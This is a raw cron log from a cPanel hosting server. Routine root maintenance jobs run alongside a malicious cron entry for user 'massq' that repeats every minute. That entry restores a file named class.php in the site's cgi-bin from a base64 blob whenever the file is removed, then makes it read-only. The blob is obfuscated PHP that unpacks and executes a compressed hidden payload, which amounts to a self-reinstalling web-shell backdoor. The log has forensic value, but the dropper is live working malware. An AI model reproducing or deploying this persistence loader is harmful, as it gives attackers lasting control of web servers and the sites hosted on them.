Aug 30 15:17:01 server CROND[23873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:17:01 server CROND[23874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:17:01 server CROND[23875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:18:02 server CROND[24276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:18:02 server CROND[24275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:18:02 server CROND[24274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:19:01 server CROND[24739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:19:01 server CROND[24740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:19:01 server CROND[24741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:20:01 server CROND[25117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:20:01 server CROND[25119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:20:01 server CROND[25124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:20:01 server CROND[25127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:20:01 server CROND[25125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:20:01 server CROND[25126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:20:01 server CROND[25123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:20:01 server CROND[25122]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:20:01 server CROND[25121]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:21:01 server CROND[25959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:21:01 server CROND[25960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:21:01 server CROND[25961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:22:01 server CROND[26363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:22:01 server CROND[26364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:22:01 server CROND[26365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:23:01 server CROND[26736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:23:01 server CROND[26737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:23:01 server CROND[26738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:24:01 server CROND[27204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:24:01 server CROND[27205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:24:01 server CROND[27206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:25:01 server CROND[27577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:25:01 server CROND[27578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 15:25:01 server CROND[27582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:25:01 server CROND[27583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:25:01 server CROND[27581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:25:01 server CROND[27584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 15:25:01 server CROND[27585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:26:02 server CROND[28391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:26:02 server CROND[28392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:26:02 server CROND[28393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:27:01 server CROND[28770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:27:01 server CROND[28771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:27:01 server CROND[28773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:27:01 server CROND[28772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:28:01 server CROND[29152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:28:01 server CROND[29153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:28:01 server CROND[29151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 15:29:01 server CROND[29625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
